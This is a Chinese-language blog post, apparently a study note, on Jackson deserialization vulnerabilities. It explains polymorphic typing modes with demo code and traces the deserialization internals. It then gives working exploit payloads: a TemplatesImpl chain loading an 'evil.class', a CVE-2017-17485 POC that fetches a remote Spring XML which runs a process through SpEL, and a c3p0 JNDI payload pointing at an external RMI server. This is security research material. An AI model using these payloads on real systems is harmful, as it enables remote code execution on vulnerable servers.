http://www.lmxspace.com/2019/07/30/Jackson - 反序列化汇总 /

https://thonsun.github.io/2020/11/02/jackjson-fan-xu-lie-hua-lou-dong-li-yong-yuan-li/#toc-heading-2

# jackson 简介

相比于 Fastjson,Jackson 不仅开源稳定易使用,而且拥有 Spring 生态加持,更受使用者的青睐。按照使用者的说法 Jackson 的速度是最快的。

看一下 demo

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String[] args){
        Student stu = new Student();
        stu.name="miku";
        stu.age=18;
        ObjectMapper mapper = new ObjectMapper();
        try {
            String json=mapper.writeValueAsString(stu);
            System.out.println(json);
            //{"age":18,"name":"miku"}
            Student stu1 = mapper.readValue(json,Student.class);
            System.out.println(stu1);
            //age=18, name=miku
        } catch (JsonProcessingException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
class Student{
    public int age;
    public String name;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s", age, name);
    }
}

image-20220530184131827

# 特殊的机制

首先 Jackson 有一种特殊的机制 -- Jackson 的多态类型绑定

一种是 Global default typing(全局的 DefaultTyping ),另一种是 @JsonTypeInfo 注解两种方式

# DefauleTyping

在这个方式里面一种有 4 个值

image-20220530184439349

分别看看这四个值的作用是什么

# JAVA_LANG_OBJECT

JAVA_LANG_OBJECT :当类里的属性声明为一个 Object 时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化 / 反序列化的类)。

例如下面的代码,我们给 People 里添加一个 Object object

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

image-20220530184818193

# OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化 / 反序列化的对象)。

例如下面的代码,这次我们添加名为 Sexinterface ,发现它被正确序列化、反序列化了,就是这个选项控制的。

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        p.sex=new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;
    @Override
    public int getSex() {
        return sex;
    }
    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}
interface Sex {
    public void setSex(int sex);
    public int getSex();
}

image-20220530184957129

默认的、无参的 enableDefaultTypingOBJECT_AND_NON_CONCRETE

# NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的 Array 类型。

例如下面的代码,我们的 Object 里存放 l1nk3r 的数组。

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        l1nk3r[] l1nk3rs= new l1nk3r[2];
        l1nk3rs[0]=new l1nk3r();
        l1nk3rs[1]=new l1nk3r();
        p.object = l1nk3rs;
        p.sex=new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ll1nk3r;",[{"length":100},{"length":100}]],"sex":["MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Ll1nk3r;@490ab905
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;
    @Override
    public int getSex() {
        return sex;
    }
    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}
interface Sex {
    public void setSex(int sex);
    public int getSex();
}

image-20220530185215374

# NON_FINAL

NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类、除 final 外的的属性信息都需要被序列化和反序列化。

例如下面的代码,添加了类型为 l1nk3r 的变量,非 Object 也非虚,但也可以被序列化出来。

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        p.sex=new MySex();
        p.l1nk3r=new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    public l1nk3r l1nk3r;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object,     sex == null ? "null" : sex,
                l1nk3r == null ? "null" : l1nk3r);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;
    @Override
    public int getSex() {
        return sex;
    }
    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}
interface Sex {
    public void setSex(int sex);
    public int getSex();
}

image-20220530185358033

# @JsonTypeInfo 注解

@JsonTypeInfo 也是 jackson 多态类型绑定的一种方式,它一共支持下面 5 种类型的取值

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

下面使用一段测试代码可以看看这五个类型的分别作用。

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper= new ObjectMapper();
        User user = new User();
        user.name= "l1nk3r";
        user.age=100;
        user.obj=new Height();
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
    }
}
class User{
    public String name;
    public int age;
    @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
    public Object obj;
    public String toString(){
        return "name:" + name + " age:" + age + " obj:" + obj;
    }
}
class Height{
    public int h = 100;
}

image-20220530185621044

# Id.NONE

这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。

{"name":"l1nk3r","age":100,"obj":{"h":100}}

# Id.CLASS

这种方式的输出结果中携带了相关 java 类,也就是说反序列化的时候如果使用了 JsonTypeInfo.Id.CLASS 修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}}

# Id.MINIMAL_CLASS

这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了 JsonTypeInfo.Id.MINIMAL_CLASS 修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}}

# Id.NAME

这种输出方式没有携带类名字,在反序列化时也是不可以利用的。

{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}}

# Id.CUSTOM

这个无法直接用,需要手写一个解析器才可以配合使用,所以直接会抛出异常

image-20220530185939613

# 小结

所以按照上述分析,3 种情况下可以触发 Jackson 反序列化漏洞

  • enableDefaultTyping()
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS
  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS

# jackson 反序列化

# DefaultTyping

demo

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class test {
    public static void main(String args[]) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json="{\"age\":10,\"name\":\"l1nk3r\",\"sex\":[\"MySex\",{\"sex\":100}]}";
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
    }
}
class People {
    public int age;
    public String name;
    public Sex sex;
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
    }
}
class MySex implements Sex {
    int sex;
    @Override
    public int getSex() {
        return sex;
    }
    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}
interface Sex {
    public void setSex(int sex);
    public int getSex();
}

image-20220530193424328

进入

image-20220530193445021

跟进

image-20220530193518350

首先 createDeserializationContext 依据配置和 json 串对应的 paser 获取上下文 context

接着 _findRootDeserializer 依据 Json 串上下文和 Json 类型信息最终返回 JSON 对应的 Deserializer , 可用与后面调用 deserial 方法从 json 串中还原对象,在后面的分析可以知道,实际是调用 setter | getter | 反射对默认构造器获得的对象赋值。 这个方法才是重点,简述了后面为什么有些利用链利用的是 getter 方法

跟进

image-20220530203922508

_findRootDeserializer ⽅法中,会尝试从根节点去获取 Deserializer ,类似于缓存的操作,由于这是第⼀次获取 Deserializer ,所以⾃然从根节点是取不到的

会进⼊到 findRootValueDeserializer ⽅法中获取 Deserializer

image-20220530204157662

该⽅法会从尝试从缓存中获取 Deserializer ,这⾥的获取⽅式有点不同了,它不是单纯的从个 map 中去调⽤ get ⽅法获取,⽽是会经过⼀系列很复杂的获取⽅式后,判断是否获取到了,如果获取不到,会调⽤ _createAndCacheValueDeserializer 去创建⼀个 Deserializer 并对其进⾏缓存。最后会通过 buildBeanDeserializer ⽅法创建⼀ BeanDeserializer (因为前⾯的⼀系列判断都不满⾜,⽐如判断 Type 的类型,如判断是不是 Enum,Container,Reference 等)

并通过下⾯⼏个⽅法来为创建好的 BeanDeserializer 对象赋值

image-20220530210349167

调用栈

image-20220530210448174

跟进方法

image-20220530210758216

主要的逻辑在于解决字段与 setter | getter | 反射的绑定,用于后面解析 json 串还原对象

然后由 deser 进行反序列化

image-20220530193618528

进入

image-20220530193644634

跟进

image-20220530194013421

首先从上下文获取类的对象 bean , 然后获取类中的属性名称 prop

image-20220530194142273

字段的赋值在 SettableBeanProperty.deserializeAndSet() : 不同的 SettableBeanProperty 有不同的行为

image-20220530194227366

这里调用是 setter 方法

image-20220530194306397

通过反射调用其 setter 方法

image-20220530194335562

# JsonTypeInfo

同上

# 利用链

# TemplatesImpl

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
public class test {
    public static void main(String[] args) throws Exception{
        String exp = fileToBase64("C:\\Users\\13728\\IdeaProjects\\jackson\\target\\classes\\evil.class");
        exp = exp.replace("\n","");
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "{\n" +
                "'transletBytecodes':['"+exp+"'],\n" +
                "'transletName':'feng',\n" +
                "'outputProperties':{}\n" +
                "}\n" +
                "]\n" +
                "}");
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.readValue(jsonInput, evil.class);
    }
    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }
    public static String fileToBase64(String filePath) throws IOException, IllegalAccessException, InstantiationException {
        File file = new File(filePath);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int) file.length()];
        inputFile.read(buffer);
        inputFile.close();
        byte[] bs = Base64.getEncoder().encode(buffer);
        return new String(bs);
    }
}

image-20220530200320400

注意,在 7u21 版本是可以的,高版本的 jdk 会出问题

我们将 _tfactory 字段补齐,发现还是不行,原因是出在了 jackson 上,在 BeanPropertyMap SettableBeanProperty find 的时候没有获取 _tfactory 的结果。

img

但是这个 payload 在 1.8.0_40 上是 ok 的。

img

深入看 1.8.0_40defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响 jdk1.8 以上哪些版本需要详细测试一下。

img

# ClassPathXmlApplicationContext 利用链(CVE-2017-17485)

# 影响版本

Jackson 2.7 系列 < 2.7.9.2

Jackson 2.8 系列 < 2.8.11

Jackson 2.9 系列 < 2.9.4

# 环境

这里我用的 JDK8

还需要有 Spring 的依赖,pom 写依赖即可。

# POC

["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:39876/spel.xml"]

spel.xml:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc.exe" />
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>

# 分析

简单提一下的,利用的并不是什么 setter 和 getter,而是因为这样传参,会把参数 Sring 作为构造器的参数传入,导致调用:

public ClassPathXmlApplicationContext(String configLocation) throws BeansException {
		this(new String[] {configLocation}, true, null);
	}

跟进:

public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent)
			throws BeansException {
		super(parent);
		setConfigLocations(configLocations);
		if (refresh) {
			refresh();
		}
	}

调用 refresh() ,之后就是 spring 读取 xml 文件进行 bean 的相关处理(

最后就是一个 SpEL 表达式注入:

else if (value instanceof TypedStringValue) {
			// Convert value to target type here.
			TypedStringValue typedStringValue = (TypedStringValue) value;
			Object valueObject = evaluate(typedStringValue);
			try {
	protected Object evaluateBeanDefinitionString(String value, BeanDefinition beanDefinition) {
		if (this.beanExpressionResolver == null) {
			return value;
		}
		Scope scope = (beanDefinition != null ? getRegisteredScope(beanDefinition.getScope()) : null);
		return this.beanExpressionResolver.evaluate(value, new BeanExpressionContext(this, scope));
	}

很明显能看出来这种利用需要能出网。

# c3p0 利用链

# jndi

String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"rmi://120.79.0.164:1099/if2xrq\", \"loginTimeout\":0}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.readValue(payload, Object.class);

image-20220531144427537

# hex base

与 c3p0 分析一样,不多写了

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝